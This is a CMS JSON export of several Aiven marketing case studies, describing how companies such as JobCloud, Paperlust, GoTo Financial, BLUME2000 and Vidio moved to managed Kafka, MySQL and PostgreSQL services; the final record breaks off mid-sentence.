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{"__i18n_lang":"en","_createdAt":"2022-09-17T19:57:24Z","_id":"30d018ed-82c6-40b5-9155-e36eda484cfe","_rev":"iFqNzOUeP20hjvWPytlpve","_type":"caseStudy","_updatedAt":"2023-06-20T08:07:57Z","company":{"_ref":"tobLYh2MZdZsk3Hke3PqK","_type":"reference"},"content":[{"_key":"8c7899e12a94","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a8029d9c5def","_type":"block","children":[{"_key":"fea30d7beb660","_type":"span","marks":["beb114fa606c"],"text":"Ometria"},{"_key":"240cea08e5db","_type":"span","marks":[],"text":" is an AI-powered customer marketing platform that enables retailers to deliver a consistent, personalized customer experience across different channels. The company’s powerful customer data platform brings together data from all customer touchpoints to create a detailed profile of each user. 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{"__i18n_lang":"en","_createdAt":"2022-09-16T14:43:07Z","_id":"d2079e28-672a-437e-98c0-88b9fc32cd90","_rev":"iFqNzOUeP20hjvWPytomK9","_type":"caseStudy","_updatedAt":"2023-06-20T08:13:00Z","additionalResources":{"items":[{"_key":"440c04bca3a7","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-1272a23b189a39fd2b65698279c63cf86df3e5a8-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"c81b88177f63","_type":"block","children":[{"_key":"8ded35cdb5690","_type":"span","marks":[],"text":"If you’re looking for a modern, responsive, and flexible architecture for rapid data flows, you’ll want to start looking at event-driven architecture."}],"markDefs":[],"style":"normal"}],"title":"Event Driven Architecture","variant":"default"},{"_key":"e3cb0d587080","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/karapace.html","title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-beadaa503b9938312fbb085cdf070c4dd202a1ae-2500x1308-webp","_type":"reference"}},"subtitle":[{"_key":"623e03feb3fe","_type":"block","children":[{"_key":"b271087110310","_type":"span","marks":[],"text":"Karapace enables you to produce and consume messages, and manage your Kafka cluster via REST APIs."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Create, manage and evolve message schemas with Karapace","variant":"default"},{"_key":"163fb6d1eb94","_ref":"6ZcP2aj9aXVAN0Dh2tlga5","_type":"reference"}],"subtitle":[{"_key":"fc87b547562c","_type":"block","children":[{"_key":"bcd75c704ae60","_type":"span","marks":[],"text":"Check out these related resrouces in our library!"}],"markDefs":[],"style":"normal"}],"title":"Where to go next"},"company":{"_ref":"75Wc07GSoCxVERISfFLDHl","_type":"reference"},"content":[{"_key":"4bcb9c76d3cf","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"daa219c34c86","_type":"block","children":[{"_key":"fc973867042c0","_type":"span","marks":[],"text":"JobCloud has the biggest job boards in Switzerland. Since they decided to implement an event-driven architecture, Aiven for Apache Kafka® has been helping them leverage their old infrastructure and add elements with no downtime and sustained performance."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"271f2e684926","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"aafc1e5c7d99","_type":"block","children":[{"_key":"fec8e20e86490","_type":"span","marks":[],"text":"JobCloud implemented an event-driven architecture on top of their existing data infra with Aiven for Apache Kafka® and can add new elements to their big job board infra without downtime."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"72742cfe8707","_type":"block","children":[{"_key":"3ef4194c54b40","_type":"span","marks":[],"text":"Aiven can provide all features needed like ACLs on topics and locking integration."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"975b91e76604","_type":"block","children":[{"_key":"eb02201d04f80","_type":"span","marks":[],"text":"Aiven for Kafka just quietly works as it should without making an issue of itself."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"10c0cf04a52f","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"8e73eed61df3","_ref":"3pviVub1qvgtuVBg55hLy9","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"5397c6d1d588","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"f17fddfb6f35","_type":"block","children":[{"_key":"16223feb899a0","_type":"span","marks":[],"text":"Founded in 2013, JobCloud provides traditional job-posting and job-searching services as well as multilingual semantic recruitment technologies, candidate management, employer branding tools, analytics and programmatic job ads."}],"markDefs":[],"style":"normal"},{"_key":"bafdfb29d3df","_type":"block","children":[{"_key":"6541a17470d10","_type":"span","marks":[],"text":"For historical reasons, JobCloud had ended up running a number of legacy systems. “We have a lot of legacy systems in place, using outdated languages and implemented with a really strange database setup, and nobody dared to touch them,” says Nicolas Chiu, Lead Software Developer at JobCloud. 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The easiest answer, it seemed, would be to insert a messaging layer between the other systems that would separate the complexity of the legacy systems from other services, whether existing or new."}],"markDefs":[],"style":"normal"},{"_key":"2cb81dff3c09","_type":"block","children":[{"_key":"56d2a62e37f30","_type":"span","marks":[],"text":"After months of evaluating messaging and streaming solutions, JobCloud decided to go with Apache Kafka, arguably the quintessential solution for streaming event data. “It has a huge ecosystem and contributor base. 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With Aiven, I ran into the same permission restrictions, but the difference was in the approach that support took when I contacted them.”"}],"markDefs":[],"style":"normal"},{"_key":"ef7ce0277517","_type":"block","children":[{"_key":"18296673ad4a0","_type":"span","marks":[],"text":"At Aiven, the support staff tried their best to help, and when they couldn’t find a way they escalated the issue until a workaround was found."}],"markDefs":[],"style":"normal"},{"_key":"3426ef26a5d7","_type":"block","children":[{"_key":"58c5517bd40e0","_type":"span","marks":[],"text":"“It wasn’t a 100% solution, but it was still PGanalyze running on Aiven and I was able to evaluate it. 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{"__i18n_lang":"en","_createdAt":"2022-11-16T11:40:50Z","_id":"2c8b3b77-a2f7-4fb4-a4e2-7fa0ca05dc9d","_rev":"c9TjXEWyWBArEQcMlfqd68","_type":"caseStudy","_updatedAt":"2023-06-20T08:10:09Z","additionalResources":{"items":[{"_key":"00179a7c9154","_ref":"C1uHqSo76FttzNKfqvt25","_type":"reference"},{"_key":"8fa225a313bb","_ref":"Ly347MEMMfb0RG0hpKNiv","_type":"reference"},{"_key":"e9430a6fdda5","_ref":"2C52NmC1EuMExPXg9XNCtD","_type":"reference"}],"title":"You might also like"},"company":{"_ref":"9e549fad-31c5-4435-a8da-ecbf2f628388","_type":"reference"},"content":[{"_key":"87ca81f4adff","_type":"textColumn","columnOne":[{"_key":"e937fad70664","_type":"block","children":[{"_key":"f6298abf6509","_type":"span","marks":[],"text":"Australian online shop faced scalability and performance issues and had a small team."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be96da712de4","_type":"block","children":[{"_key":"2cafecde6ff1","_type":"span","marks":[],"text":"With Aiven for MySQL, performance issues were conquered and scalability is easy."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0e53474d77da","_type":"block","children":[{"_key":"93eee1854ac9","_type":"span","marks":[],"text":"No more management overhead, not even downtime.\n"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"title":"Highlights","variant":"oneColumn"},{"_key":"98135906cbb1","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"0e5d9e3c5687","_type":"block","children":[{"_key":"f64fc77026e80","_type":"span","marks":["038359777d2c"],"text":"Paperlust"},{"_key":"dc9ca084d8b1","_type":"span","marks":[],"text":" was established in 2014 in Melbourne, Australia, to encourage regional artists and offer personalized paper products to customers who appreciate beautiful design.\n\nPaperlust exists because the founders recognized a gap in the market.\n\n“We grew weary of watching talented designers waste time pursuing clients as potential customers waded through countless websites, searching for excellent design goods,” says Alex Boston, Co-Founder of Paperlust. “Talent was present. There was a demand. It was just necessary to build a platform that made it simple for the two to interact.”\n\nPaperlust adds new designs for sale daily to their continually-growing product selection, and their community is flourishing. Paperlust is a part of people’s lives throughout Australia and the world as they invite party guests, send thank you notes, decorate spaces, announce births and celebrate anniversaries with Paperlust products."}],"markDefs":[{"_key":"038359777d2c","_type":"link","href":"https://paperlust.co/"}],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"458fa228cba0","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"0cc329858d10","_type":"block","children":[{"_key":"dfb308f41a970","_type":"span","marks":[],"text":"At first, Paperlust configured their web shop on a single server that hosted both the applications and the databases. They soon outgrew this solution, though, as their user base expanded. Customers began to experience significant lag when using the site, leading to a poor customer experience. To alleviate performance issues, Paperlust decided to separate the applications and databases and moved their databases into a managed relational databases service.\n\nThis migration did not have the desired effect, and they had to move their database multiple times in efforts to conquer their performance problems. Each time this happened, they had to turn off the server and configure a new endpoint. This led to even more delays.\n\nWaiting for an online shop for paper products to respond seems like a small thing, but it has big consequences for the company in question. Firstly, performance issues gradually reduce their site’s availability, leading to revenue loss and decline in customer trust.\n\nMoreover, it’s wasting time internally. Development work grinds to a halt as the team waits for the server to run again. And this isn’t even taking into account the frustration it causes!\n\nPaperlust were aware that they could tackle this issue by taking closer care of the database and adding some components. “But we thought it would add complexity to our stacks,” says Alex. “We didn’t really have a team to manage the infrastructure on a daily basis."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"60206c8afcdf","_type":"textColumn","columnOne":[{"_key":"18316a457df1","_type":"block","children":[{"_key":"8ea4dcbc7f980","_type":"span","marks":[],"text":"With Aiven, Paperlust has found the perfect partner to take care of their databases, while they continue to connect consumers with designers and artists with audiences. They were able to continue with MySQL®, which had been their initial choice as a simple database that the team could understand.\n\n“From a technical perspective, Aiven allows us to use the same database endpoint regardless of any region changes or instance type changes,” says Alex. This makes the system flexible and extendable."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"title":"The solution","variant":"oneColumn"},{"_key":"56e0cbe4f797","_type":"textColumn","columnOne":[{"_key":"964bed8a9d8c","_type":"block","children":[{"_key":"895d811f03fb0","_type":"span","marks":[],"text":"With Aiven, Paperlust no longer has any performance worries. “It also minimizes our downtime due to region changes or instance-type changes,” Alex notes. “It gives us flexibility to change the database configuration as needed without worrying about downtime. Besides, we no longer have to call the dev team to simply change the endpoint.”\n\nThe development team is happy too, since it spares the team from infrastructure maintenance on a daily basis.\n\n“We can use that time to improve other aspects of our application,” says Alex. “We’re saving considerably in terms of cost and time that would be needed for infrastructure management, while also getting other benefits from Aiven. One benefit that we especially like about Aiven is the zero downtime during management operations. We will take advantage of it as we grow by moving the region or instance type scaling.”\n\nFor the end users, Paperlust’s page loads much faster now, and customers can browse and purchase the designs more easily. And things that make the customers happy also benefit the company’s bottom line.\n\n“I would absolutely recommend Aiven for any company that wants to make the scalability of its infrastructure much more effortless,” says Alex."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"rounded":false,"title":"The outcome","variant":"oneColumn"}],"contentIsGated":false,"gatedContent":[{"_key":"f97107baf492","_type":"textColumn","columnOne":[{"_key":"33aa4367e467","_type":"block","children":[{"_key":"b5ab36ed1498","_type":"span","marks":[],"text":"Paperlust was established in 2014 in Melbourne, Australia, to encourage regional artists and offer personalized paper products to customers who appreciate beautiful design. "}],"markDefs":[],"style":"normal"},{"_key":"6cb2e8939732","_type":"block","children":[{"_key":"cee98750b92e","_type":"span","marks":[],"text":"Paperlust exists because the founders recognized a gap in the market. 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{"__i18n_lang":"en","_createdAt":"2023-03-01T09:57:12Z","_id":"6dd14f60-848e-49e0-9ab1-1fd9342e1ab2","_rev":"iFqNzOUeP20hjvWPyth7e9","_type":"caseStudy","_updatedAt":"2023-06-20T07:59:08Z","company":{"_ref":"59141ae6-931b-4202-a95c-4d805376440a","_type":"reference"},"content":[{"_key":"097c1e4979c5","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"68874a071ddf","_type":"block","children":[{"_key":"ea6ac58b3e7d0","_type":"span","marks":[],"text":"As a high-growth start-up in the rapidly evolving marketplace of digital assets, Digital Asset Research (DAR) is setting new standards for digital asset data transparency and quality. To be competitive, DAR must handle huge volumes of data at speed to provide its digital asset prices and research in real-time, 24/7. It cannot afford downtime. However, the company was experiencing outages with its former Apache Kafka event streaming platform so it moved to Aiven for Apache Kafka®. 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However, 18 months ago DAR was facing issues in its database infrastructure which posed a serious risk to the uninterrupted delivery of its services.\n\nAt the time, DAR was using a MySQL-compatible, relational database engine in AWS. The solution was unable to handle the 20 million trades running each day and was frequently experiencing outages. So DAR migrated to SingleStoreDB Cloud and then later to a managed Apache Kafka® service from a different provider, both on AWS.\n\nWhile SingleStoreDB brought many improvements to the database, issues arose with the Kafka solution. The clusters stopped working on multiple occasions and little technical support was offered from the Kafka provider.\n\n“Every single time there was an upgrade to our Apache Kafka platform, it would go down,” says Soi Meng Tai, Director of Infrastructure, DAR. “There was a lack of root cause analytics for incidents. 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{"__i18n_lang":"en","_createdAt":"2022-09-05T13:26:35Z","_id":"6a79e45d-7bbf-4e28-abf9-b71fd104b833","_rev":"c9TjXEWyWBArEQcMlfsYRE","_type":"caseStudy","_updatedAt":"2023-06-20T08:13:36Z","additionalResources":{"items":[{"_key":"82c0fe236816","_ref":"6hwk9OFwjubnCEArcbNBJy","_type":"reference"},{"_key":"af182fb71e4d","_ref":"1lXo1w2g8BTdPN9kxrvRFI","_type":"reference"},{"_key":"01af8d0fd9b0","_ref":"3XqXps9Ko6fze8fxbK6QI7","_type":"reference"}],"subtitle":[{"_key":"f8c5b9a7fc36","_type":"block","children":[{"_key":"cf10ccafad0b","_type":"span","marks":[],"text":"Check out these related resources in our library!"}],"markDefs":[],"style":"normal"}],"title":"Where to go next"},"company":{"_ref":"rJC6Thoe9tosgYGZna3t6","_type":"reference"},"content":[{"_key":"f2997a1e6e12","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"33699e7cb7a9","_type":"block","children":[{"_key":"2826f6b218e00","_type":"span","marks":[],"text":"GoTo Financial needed a managed, region-specific Apache Kafka® cloud solution for a massive-throughput system, and they needed it quickly. They signed up with Aiven, and found a platform that just quietly works like it should, without any drama."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"547d077adf4f","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"5c67a490f855","_type":"block","children":[{"_key":"627a4e5edd390","_type":"span","marks":[],"text":"Just works without drama"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ba47251931cd","_type":"block","children":[{"_key":"dbc648569c850","_type":"span","marks":[],"text":"Massive throughput needs met"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ee24b4ae98f5","_type":"block","children":[{"_key":"a297eb1a80e50","_type":"span","marks":[],"text":"Plugs into a huge ecosystem of apps"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ba84b1d40441","_type":"block","children":[{"_key":"5ba3d709fd190","_type":"span","marks":[],"text":"Old fragmented Kafka architecture consolidated into a single system"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"59e262c9f01d","_type":"block","children":[{"_key":"bf8e0844bede0","_type":"span","marks":[],"text":"Easy orchestration with Kubernetes and Terraform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6847b986cf29","_type":"block","children":[{"_key":"91aa9e3940ee0","_type":"span","marks":[],"text":"Tiny in-house team performed the setup independently"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"4d978ea01db7","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"4c51964eee41","_type":"block","children":[{"_key":"e8df6a3ccc820","_type":"span","marks":[],"text":"GoTo Financial is part of the "},{"_key":"e8df6a3ccc821","_type":"span","marks":["35035997a3b7"],"text":"Gojek"},{"_key":"e8df6a3ccc822","_type":"span","marks":[],"text":" ecosystem, a massive cluster of apps that combines e-commerce, on-demand and financial services to provide services and income opportunities for 270 million consumers and 11 million merchants in Southeast Asia. "}],"markDefs":[{"_key":"35035997a3b7","_type":"link","href":"https://www.gojek.com/"}],"style":"normal"},{"_key":"679af25e25aa","_type":"block","children":[{"_key":"4b47dc8277510","_type":"span","marks":[],"text":"Massive load"}],"markDefs":[],"style":"h3"},{"_key":"7552e04b42c4","_type":"block","children":[{"_key":"20200a89c1730","_type":"span","marks":[],"text":"The Gojek apps handle enormous throughput every second of every day. Millions of people depend on them for their next meal. Literally, because that’s where they order it, along with their rides and consumer goods and other things. But also in the sense that the apps enable people to earn their living by providing those services."}],"markDefs":[],"style":"normal"},{"_key":"64d2fe317574","_type":"block","children":[{"_key":"a8adf0fab7490","_type":"span","marks":[],"text":"GoTo Financial’s GoPayLater app is integrated into all Gojek services as a payment method, and sees enormous traffic second to second. So it’s easy to see why lag and downtime must be kept to a minimum, and why information security and compliance with legal requirements are prime concerns."}],"markDefs":[],"style":"normal"},{"_key":"aecf3442ae03","_type":"block","children":[{"_key":"117b990c822a0","_type":"span","marks":[],"text":"Absolutely managed"}],"markDefs":[],"style":"h3"},{"_key":"59ec6f118ccb","_type":"block","children":[{"_key":"657cbc390bd30","_type":"span","marks":[],"text":"From the outset it was clear to GoTo Financial that their Apache Kafka should be a managed service."}],"markDefs":[],"style":"normal"},{"_key":"70fa44ad880d","_type":"block","children":[{"_key":"5af237e08b650","_type":"span","marks":[],"text":"“We are a pretty lean engineering team,” says Kashyap Kopparam, Lead Engineer at GoTo Financial. “We didn't really have the capacity to manage our own Kafka and everything.”"}],"markDefs":[],"style":"normal"},{"_key":"1c28d834f993","_type":"block","children":[{"_key":"107db362435d0","_type":"span","marks":[],"text":"The GoTo Financial Services tech team had zero desire to spend time and money on ramping up a new function to manage the sometimes arcane Kafka. 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The benefits they see are about 90% due to GoTo Financial’s team re-engineering their infrastructure from the ground up. From the get-go, Aiven’s role has been that of enabler. With Aiven, GoTo Financial’s new infra simply works like it’s supposed to. They haven’t even needed Aiven’s famed support."}],"markDefs":[],"style":"normal"},{"_key":"240e822486f5","_type":"block","children":[{"_key":"ff05427fad150","_type":"span","marks":[],"text":"“We just did it ourselves,” Kashyap shrugs. “We did everything ourselves, basically. I think there was one time when we asked Aiven to change a service name, but that's it.”"}],"markDefs":[],"style":"normal"},{"_key":"fbe9a1828cab","_type":"block","children":[{"_key":"d63d7a3751780","_type":"span","marks":[],"text":"Cost control and predictability, though, is much improved with the move to Aiven, where the transparent pricing model allows GoTo Financial a panoramic view of their future infrastructure costs."}],"markDefs":[],"style":"normal"},{"_key":"0f741496a929","_type":"block","children":[{"_key":"1f016dded7590","_type":"span","marks":[],"text":"Their experience with Aiven as a service provider has been low-key but positive. “We haven’t seen any performance issues, we haven't seen any downtime. So yeah, we're happy with the system. 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{"__i18n_lang":"en","_createdAt":"2022-09-17T19:53:38Z","_id":"50bf96fd-60b3-4c2a-8e1d-d1eb75fd4f31","_rev":"DEr13LRm8S6bXdr2Y1FtNr","_type":"caseStudy","_updatedAt":"2023-06-20T08:00:20Z","company":{"_ref":"2v4v8c27Q0p3afrTlkvr9i","_type":"reference"},"content":[{"_key":"4009f2b8ee97","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"9f9953a8070b","_type":"block","children":[{"_key":"a7bc1117d2b20","_type":"span","marks":[],"text":"Spare had unacceptable downtime with their previous PostgreSQL provider"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d7882ccdd7e0","_type":"block","children":[{"_key":"e0aa7a51f0d40","_type":"span","marks":[],"text":"After switching to Aiven, Spare’s systems became much more reliable and efficient"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6b62bf02e44d","_type":"block","children":[{"_key":"cff8cc81e9d80","_type":"span","marks":[],"text":"Aiven has saved Spare the cost of two engineers, allowing them to focus on their app"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"5c03cfc84ee8","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"0d5981b76446","_type":"block","children":[{"_key":"fddcfb2970a20","_type":"span","marks":[],"text":"Imagine a transportation platform so mission-ready that it could be used to develop a flexible transportation service for an entire city in under 48 hours. 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Founded in 1986 and headquartered in France, ADEO serves more than 450 million customers in 15 countries and has revolutionized home improvement and the do-it-yourself endeavor via massive scale and a simple raison d’être: “to feel useful in everything we do - useful to ourselves, to those around us, to others, and to the world.”"}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"4065132c2d97","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"b4f260f369ef","_type":"block","children":[{"_key":"6cf8df6bbad40","_type":"span","marks":[],"text":"The overarching mission runs deep in the group’s psyche and informs how things are done internally. However, with data siloed across headquarters and multiple departments in a community of 32 companies, being useful in everything is easier said than done. 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{"__i18n_lang":"en","_createdAt":"2022-09-20T11:31:30Z","_id":"8c249cde-32b4-4fa0-ac28-cdcf88250c9b","_rev":"on5KSabgAN0raW406Y5151","_type":"caseStudy","_updatedAt":"2024-02-08T14:57:38Z","company":{"_ref":"4FQpR3sYxdH5OsijB9qTsa","_type":"reference"},"content":[{"_key":"8f2e71ed5edb","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"16da4e6bd27b","_type":"block","children":[{"_key":"d8c223b1c4a30","_type":"span","marks":[],"text":"Founded in 2016, Alef Education is a leading K-12 educational technology company that makes learning more personalized, engaging, and accessible for students. Its flagship product, the Alef Platform, allows students to complete exercises online and receive instant teacher feedback. The AI-powered platform also provides real-time visibility for teachers, informing them where students need additional support. It saves time and makes teaching easier as teachers can better respond to students’ needs. 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{"__i18n_lang":"en","_createdAt":"2023-09-07T06:14:18Z","_id":"a07e85db-f60d-4460-8a72-9384d5fde396","_rev":"7lO65z9OheRFnytB4ZNdpG","_type":"caseStudy","_updatedAt":"2023-09-07T13:15:40Z","company":{"_ref":"fbbe4379-81b9-41fd-808d-b84223814c9d","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"44b5e63b5c5c","_type":"block","children":[{"_key":"ee09f7f7053c0","_type":"span","marks":[],"text":"Leading flower retailer BLUME2000 SE needed to rebuild the legacy system underpinning its online business to improve the buying experience for its customers and enable scalability. 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Competition has increased in recent years as all the major supermarkets now sell flowers in-store and online, and online-only florists have entered the market, many offering subscription services. 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Developed in-house over many years by many different people, its structure had become complex and integration with other systems or new technologies was difficult. “The legacy system wasn’t keeping pace with the business — it was hindering the buying experience for the customer and the efficiency of purchasing products for us. It was time consuming to add new features and functionality,” says Philipp Westphalen, FullStack Software Engineer, BLUME2000 SE."}],"markDefs":[],"style":"normal"},{"_key":"f8156ab0d5c2","_type":"block","children":[{"_key":"ef347285b679","_type":"span","marks":[],"text":"Westphalen’s team undertook a thorough assessment of the legacy system, created a system modernization strategy, then set about choosing the optimal technology stack. The new system was designed with self-contained systems (SCSs) communicating asynchronously to each other, ensuring scalability as the online business grew. The team also took into consideration that it would operate in a hybrid cloud environment. BLUME2000 SE had taken the strategic decision to migrate as many workloads as possible to Google Cloud, but some data and apps would remain on-premises primarily for compliance and regulatory reasons."}],"markDefs":[],"style":"normal"},{"_key":"ea95352ded38","_type":"block","children":[{"_key":"38df13c45195","_type":"span","marks":[],"text":"Apache Kafka was chosen as the best open source platform to enable near real-time communication between the SCSs and other systems, enabling data streaming at scale on Google Cloud, the public cloud of choice for BLUME2000 SE."}],"markDefs":[],"style":"normal"},{"_key":"c415807491e8","_type":"block","children":[{"_key":"95d65b6e8ca3","_type":"span","marks":[],"text":"For Westphalen’s team of developers, with limited operational knowledge, managing the Kafka clusters became challenging. “Managing Kafka is complex. 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Important criteria included the ability of BLUME2000 SE to host the Kafka clusters in Google Cloud as well as providing a Terraform interface allowing the team to orchestrate the Aiven service alongside the rest of the technology stack. The transparent, all-inclusive pricing and easy scalability of Kafka clusters were also key benefits."}],"markDefs":[],"style":"normal"},{"_key":"874c2d9c1406","_type":"block","children":[{"_key":"f553708732c8","_type":"span","marks":[],"text":"BLUME2000 SE seamlessly connected Aiven for Apache Kafka with the rest of the infrastructure underpinning the online shop. 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If the legacy system had been in place, BLUME2000 SE wouldn’t have been able to handle the increase in customers, transactions and data, putting the company’s profitability at risk."}],"markDefs":[],"style":"normal"},{"_key":"69b34a7183d9","_type":"block","children":[{"_key":"4650c87d9403","_type":"span","marks":[],"text":"As the COVID-19 restrictions were lifted and customers returned to brick and mortar shops, day-to-day online sales at BLUME2000 SE reduced but remained significantly higher than previously. Valentine’s Day and Mother’s Day are two of the most significant days of the year for BLUME2000 SE and an opportunity for Westphalen’s team to see the updated system operating at peak load. Despite the volume of order-related transactions increasing by 400% – in part due to new events – the high performance and scalability of Aiven for Apache Kafka ensures the data moves rapidly between the services."}],"markDefs":[],"style":"normal"},{"_key":"9981b4b4dc85","_type":"block","children":[{"_key":"cddd122780e2","_type":"span","marks":[],"text":"“We used to have issues with loading times for our customers. Today, with Aiven for Apache Kafka, we have very low latency which has transformed the customer experience. Even on occasions like Mother’s Day when we have more customers, more transactions and more data, everything operates seamlessly,” says Westphalen."}],"markDefs":[],"style":"normal"},{"_key":"433432512765","_type":"block","children":[{"_key":"9cca277ceeeb","_type":"span","marks":[],"text":"“I’m pleased with the team’s decision to use Aiven for Apache Kafka. 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As part of this growth, Westphalen’s team is exploring Aiven for PostgreSQL® to meet its high performance, relational database needs."}],"markDefs":[],"style":"normal"},{"_key":"e9afc9e36e70","_type":"block","children":[{"_key":"7abefc11fb58","_type":"span","marks":[],"text":"In tandem, Westphalen’s team is collaborating with the IT department that supports the in-store business, and the ongoing integration is already bringing success. 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{"__i18n_lang":"en","_createdAt":"2022-09-13T14:29:06Z","_id":"4b7c77b5-38c5-4c4a-82b6-53241a06020f","_rev":"6SVjZAesGXll0xWW26Zun9","_type":"caseStudy","_updatedAt":"2023-08-31T10:43:11Z","additionalResources":{"items":[{"_key":"c8de169b73ce","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"},{"_key":"618026efb28c","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/opensearch","title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-01b60df4f51dd917fa83609560877831bdba98b8-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"b2304e3f5e90","_type":"block","children":[{"_key":"af8920b47c300","_type":"span","marks":[],"text":"OpenSearch is an open source fork derived from Elasticsearch."}],"markDefs":[],"style":"normal"}],"title":"Deploy true open source search and analytics with OpenSearch®","variant":"default"},{"_key":"eefcfda588b3","_ref":"Bn6QWyWT0ZxFmtWiDM23j","_type":"reference"}],"subtitle":[{"_key":"c0c427ed9a35","_type":"block","children":[{"_key":"f89623e861be","_type":"span","marks":[],"text":"Check out these related resources in our library!"}],"markDefs":[],"style":"normal"}],"title":"Where to go next"},"company":{"_ref":"798pg8vpkaOTehLq4MG4RD","_type":"reference"},"content":[{"_key":"bc95c5ceb015","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"0159bac8b92f","_type":"block","children":[{"_key":"fbb010009bfd0","_type":"span","marks":[],"text":"Vidio is Indonesia’s leading video streaming service, with more than 60 million monthly active users consuming 82 livestreams and over a million video-on-demand titles. They offer a rich variety of content: local and international entertainment, live sports, video-on-demand services, and pay-TV channels. Their volume of content and viewers makes Vidio one of the top apps downloaded by Indonesians, the world’s 4th largest population."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"b25c3c09eeed","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"aff1dca33954","_type":"block","children":[{"_key":"b29c4f20be370","_type":"span","marks":[],"text":"Aiven provides extra low latency, high uptime and great capacity for a massively popular video streaming service."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"695b4f150de1","_type":"block","children":[{"_key":"190843e4356b0","_type":"span","marks":[],"text":"Vidio can now deploy new services rapidly almost in real-time following fluctuations in user volumes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"8b770285fd1b","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"efa9c9a718cd","_type":"block","children":[{"_key":"ec00c2c4d43d0","_type":"span","marks":[],"text":"Vidio needs to guarantee low-latency streaming for end users while customizing the user experience. This is absolutely critical for success in the hyper-competitive streaming market."}],"markDefs":[],"style":"normal"},{"_key":"54d9b2a13525","_type":"block","children":[{"_key":"29092a5468ee0","_type":"span","marks":[],"text":"Yet with such a large customer base and so many sophisticated services on their network, this is easier said than done. Vidio’s technical team was spending far too much time on database management, up to the point where it was pulling them away from developing services — which is what they were originally hired to 